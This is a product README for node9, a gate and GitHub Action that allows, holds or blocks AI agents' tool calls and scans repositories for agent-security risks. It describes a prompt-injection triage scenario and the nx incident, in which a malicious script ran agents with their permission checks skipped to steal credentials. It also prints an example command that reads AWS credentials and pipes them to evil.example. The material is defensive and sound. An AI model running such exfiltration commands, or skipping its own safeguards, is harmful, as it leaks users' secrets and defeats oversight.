Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call
io.github.node9-ai/node9 — Model Context Protocol (MCP) Server
The io.github.node9-ai/node9 server provides access control for AI agents and MCP servers. It defines how each tool call is handled, supporting three outcomes: allow, hold for approval, or block.
🛠️ Key Features
Access control for AI agents and MCP servers
Per–tool call handling states: allow, hold for approval, block
🚀 Use Cases
Regulate which MCP server tool calls AI agents can execute
Require approval workflows for specific tool calls before execution
Prevent certain tool calls from running by blocking them
⚡ Developer Benefits
Clear policy control over tool call execution
Straightforward state-based outcomes for each tool invocation
⚠️ Limitations
Available metadata does not describe setup steps, configuration options, or enforcement scope beyond tool-call access control
Credential jail · secrets and PII · destructive git, SQL and shell held for review ·
MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
Three ways in
See
Scan a repository on every pull request, or check this machine. Nothing to install.
This repository is also the GitHub Action
node9 Agent Security.
It reads the agent configuration committed to a repository (workflows, agent settings, MCP
servers, instruction files) and reports what a pull request could turn against you. Nothing
runs, no agent is installed, and it needs no account and no secret: the job token is enough.
Add one file, .github/workflows/agent-security.yml:
yaml
name:node9agent-securityon:pull_requestpermissions:contents:readpull-requests:writechecks:writejobs:scan:runs-on:ubuntu-lateststeps:-uses:node9-ai/node9-proxy@v2with:fail-on:high# never | medium | high | criticalfail-on-scope:introduced# judge only what this PR added or made worse
Every pull request then gets:
A check that passes or fails at the severity you choose.
One comment that leads with the worst finding in plain words and how to fix it, updated in place on every push.
Annotations on the lines that caused them.
What it looks for
Workflows a stranger can steer
a workflow that hands the text of an issue or a pull request to an agent that holds secrets or can run commands, or that runs the agent inside a fork's code
Agent settings
allow rules that cover credentials or any command, hooks that fetch remote code, local settings committed by mistake
MCP servers and plugins
a server installed at whatever version is newest, a credential written into the config
Secrets in reach
secrets an agent in a workflow can read, and the ways it could leak them
Instruction files and skills
hidden characters, text that tells the agent to drop its instructions, to fetch and obey a page, or to send data out
The comment, on a repository where anyone can open an issue that an agent reads:
🛡️ node9 agent-security · 🔴 High: action needed
Anyone can make this repository's AI agent act with its permissions
A stranger opens an issue with instructions for the agent. The agent follows them with this
repository's permissions.
What we saw in .github/workflows/triage.yml:13:
Anyone can start the agent (allowed_non_write_users: "*").
It reads the text of the pull request or issue.
It can run any command (Bash).
✅ How to fix:
Let only people with write access start it: remove allowed_non_write_users: "*".
Give the agent only the tools the job needs.
Also found:
🟡 MCP server files installs whatever version is newest, every time (.mcp.json)
Inputs
Input
Default
fail-on
never
The severity that fails the check: never comments without gating, medium, high or critical.
fail-on-scope
all
introduced judges only what the pull request added or made worse, so a repository that already has findings can turn the gate on today.
comment
true
Post the comment on the pull request.
annotate
true
Annotate the findings on the diff.
node9-version
latest
The node9-ai version that scans. Pin it for reproducible runs.
node9-upload-key
empty
Optional. Sends each push scan to your node9 workspace, which keeps the history per repository. Empty sends nothing.
telemetry
true
An anonymous usage count per run: the scanner version, the operating system, the worst severity, whether the scan finished, and a hash of the repository's numeric id that node9 keeps only inside a count. Never the repository name, a path, a finding or any code.
Under pull_request_target the Action does not scan and says so: there it would read the base
branch, not the pull request. The full reference is in the
repository scanning docs.
Check a repository or this machine now
No workflow, no install and no account. scan-repo sends the same anonymous usage count as the
Action (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
bash
npx node9-ai scan-repo owner/repo # the same scan as the Action, on any public repository
npx node9-ai posture # scores this machine 0-100: what a compromised agent could read, reach and run
npx node9-ai scan # every past agent session on this machine
The hosted scan at node9.ai/scan does the first one in the browser.
node9 scan scorecard
Guard your agents
node9 sits between an agent and every tool it calls: files, commands, the network and every
app it reaches. Each call is allowed, blocked, or held for you.
Below, a real Claude Code session with node9 installed. Every tool call is checked
before it runs. Building a page and editing a button run. A request to the cloud
metadata address is blocked, and the agent gets the reason and carries on.
Deleting files waits for your approval, right in the chat.
node9 in a Claude Code session: node9 is on, a .env read is blocked, a force push waits for approval
Install
bash
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Then, in any project:
bash
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login # optional: adds this machine to a shared dashboard
Requires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection
needs no account. The checklist shows recommended shields, DLP/PII, optional
network egress review, and the background service. Usage statistics are sent
only if you accept the separate prompt. The summary lists configured agents
and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup <target> to configure one agent.
Once configured, bare node9 shows help. node9 init remains available; for
scripts use node9 init --recommended (no questions and no telemetry opt-in).
--skip-setup leaves agent wiring and service installation alone. Explicit
--mode takes precedence over the checklist's standard-mode recommendation.
Existing settings are preserved unless selected changes or explicit flags request
an update. Workspace policy is managed in the dashboard; service settings remain local.
login adds nothing to enforcement. It connects the machine to a workspace so
a team can see one record across everyone's laptops and CI, set policy centrally,
and approve held actions from a dashboard or Slack. Skip it and node9 works exactly
the same, alone, offline. node9 logout disconnects again and local enforcement
keeps running.
Every release artifact is signed. To check one yourself:
node9 also runs as an MCP server, so an agent can read its status, posture, audit
record and policy, and explain any decision, from inside the conversation:
Any MCP client works the same way: the command is npx -y node9-ai mcp-server
over stdio, with no API key. It is listed in the official MCP Registry as
io.github.node9-ai/node9.
Prove it to your team
Once machines are connected with node9 login, the dashboard reads them as one report on the
OWASP Top 10 for Agentic Applications, for every agent and every team. For each of the ten
risks it shows which devices and repositories are exposed now, what happened, and what your
policy stopped. Each number opens to the device, the repository or the check behind it.
A sample report: the report as a team sees it, readable before you install anything
In August 2025, compromised releases of the
nx build tool shipped a post-install
script that looked for AI coding agents already installed on the developer's machine, then ran
them with their own safety flags turned off (--dangerously-skip-permissions, --yolo,
--trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list
to disk. The script pushed the results to public repositories inside the victims' own GitHub
accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm
tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was
told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the
files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays
held even when the agent was started with permissions skipped.
What node9 does about it
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws,
.env files, private keys) is on by default, and a read of one of those paths does not run.
The agent is stopped, told why, and the decision comes to you:
text
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help.
echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read
of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer
it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a
file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of
that file. node9 egress protect gates destinations as well, and it covers shell commands only.
What it governs
Each line is one capability, with the page that documents it. The docs are the
reference; this file is the map.
Credential jail
~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shell